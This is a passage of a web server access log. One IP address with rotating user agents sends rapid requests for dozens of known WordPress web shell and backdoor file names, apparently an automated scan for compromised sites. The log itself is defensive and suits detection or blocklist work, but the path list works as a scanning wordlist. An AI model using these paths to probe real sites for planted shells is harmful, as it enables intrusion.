Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:55 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:56 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:56 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:39:56 +0300] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:56 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:57 +0300] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:57 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:57 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:57 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:58 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:39:58 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:58 +0300] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:58 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:59 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:59 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:39:59 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:59 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:59 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:00 +0300] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:00 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:00 +0300] "GET /chosen-667.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:00 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:00 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:00 +0300] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:40:01 +0300] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:01 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:01 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:01 +0300] "GET /wp-content/upgrade/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:02 +0300] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:02 +0300] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:02 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:40:02 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:03 +0300] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:03 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:03 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:03 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:04 +0300] "GET /wp-content/plugins/seooyanz/wsoyanzv3.7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:04 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:04 +0300] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:40:04 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:04 +0300] "GET /first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:05 +0300] "GET /admin/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:05 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:05 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:05 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:05 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:06 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:06 +0300] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:40:06 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:40:06 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:07 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:07 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:40:07 +0300] "GET /cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:07 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:07 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:40:08 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:08 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:40:08 +0300] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:08 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:08 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:09 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:09 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:09 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:09 +0300] "GET /back.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:10 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:10 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:10 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:10 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:11 +0300] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:11 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:11 +0300] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:11 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:11 +0300] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:12 +0300] "GET /phpfm3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:12 +0300] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:12 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:12 +0300] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:13 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:13 +0300] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:13 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:13 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:13 +0300] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:14 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:14 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:14 +0300] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:14 +0300] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:14 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:15 +0300] "GET /wp-content/plugins/awesome-coming-soon/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:15 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:15 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:15 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:16 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:16 +0300] "GET /zip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:16 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:16 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:16 +0300] "GET /wp-content/plugins/wpcall-button/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:16 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:17 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:17 +0300] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:17 +0300] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:40:17 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:18 +0300] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:18 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:40:18 +0300] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:18 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:18 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:18 +0300] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:19 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:19 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:19 +0300] "GET /rcc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:19 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:20 +0300] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:20 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:20 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 